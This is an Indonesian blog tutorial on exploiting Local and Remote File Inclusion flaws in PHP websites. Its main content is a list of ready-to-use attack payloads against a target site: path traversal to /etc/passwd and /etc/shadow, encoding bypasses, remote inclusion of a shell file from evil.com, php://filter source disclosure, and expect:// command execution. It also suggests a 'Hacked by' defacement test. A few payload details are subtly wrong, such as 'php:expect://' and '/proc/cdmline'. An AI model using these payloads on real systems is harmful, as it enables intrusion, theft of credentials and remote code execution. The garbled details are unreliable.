Skip to content Skip to sidebar Skip to footer

Widget HTML #1

Tutorial Mengenai Local File Inclusion (LFI) Dan Remote File Inclusion (RFI)


Oke pada kesempatan kali ini saya akan membahas singkat tentang Local File Inclusion dan Remote File Inclusion.

Pada artikel sebelumnya saya juga sudah pernah membahas tutorial mengenai Memanfaatkan Bug LFI di Website tapi alangkah lebih baik kalo kita bahas lebih mendetail lagi.

Well, penjelasan pertama mengenai fungsi-fungsi yang dapat menyebabkan LFI/RFI.

Code:
include();
include_once();
require();
require_once();

Dan dengan syarat pada konfigurasi php di server:

allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

Contoh, misalkan kita punya file index.php dengan content codenya seperti berikut ini,

<a href="index.php?page=file1.php"> Files</a>
<?php 
$page = $_GET[page];
include($page);
?>

Jika kita lihat mungkin alamat urlnya akan terlihat seperti ini bentuknya:

Code:
http://target.com/index.php?page=files.php maka script ini akan menampilkan halaman files.php

Nah, disini attacker bisa dapat melakukan exploitasi LFI karena variabel page di include begitu saja tanpa menggunakan filter.
Misalkan si attacker ingin mangakses file passwd  yang ada pada server, maka dia akan mencoba memasukan payload seperti ini ../../../../../../etc/passwd.

Dengan jumlah "../" itu tergantung dari kedalaman folder file index.php tersebut, dengan begitu isi file passwd akan ditampilkan di browser. Jadi kita juga bisa menggunakan metode menebak stuktur folder dalam website target.

Oke, jika kita sudah menemukan bug LFI pada website target. Sekarang kita akan mencoba mencari bug RFI dengan menambahkan link file remote(dari luar website) pada variabel page. Contoh misalnya seperti ini:

http://target.com/index.php?page=http://asu.com/test.txt

Dengan file "test.txt" berisi misalkan begini: "Hacked by YOURNAME"
Jika ternyata dibrowser menampilkan kalimat sesuai isi file test.txt tersebut maka berarti website tersebut vulnerability terhadap bug RFI juga.

Selain kita cek file passwd, kita juga bisa mengecek file menarik lainya:
  • /etc/issue
  • /etc/passwd
  • /etc/shadow
  • /etc/group
  • /etc/hosts
  • /etc/motd
  • /etc/mysql/my.cnf
  • /proc/[0-9*]/fd/[0-9]*
  • /proc/self/environ
  • /proc/version
  • /proc/cdmline

Basic LFI (null byte, double encoding, dan trik lainya)

http://example.com/index.php?page=etc/passwd http://example.com/index.php?page=etc/passwd http://example.com/index.php?page=../../etc/passwd http://example.com/index.php?page=%252e%252e%252f http://example.com/index.php?page=....//....//etc/passwd

Basic RFI (null byte, double encoding, dan trik lainya)

http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

LFI Wrapper base64 - php://filter

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php 

RFI Wrapper EXPECT

http://example.com/index.php?page=php:expect://id http://example.com/index.php?page=php:expect://ls

Refrensi:


Nah mungkin cukup sekian artikel dari saya. Mohon maaf apabila ada kesalahan dalam penulisan maupun penjelasan karena saya sendiri juga masih sama-sama belajar.
Jika ada yang ingin ditanyakan silahkan tinggalkan jejak di kolom komentar sebisa mungkin nanti saya akan coba bantu.

Terimakasih, semoga bermanfaat. Happy Learning!

Post a Comment for "Tutorial Mengenai Local File Inclusion (LFI) Dan Remote File Inclusion (RFI)"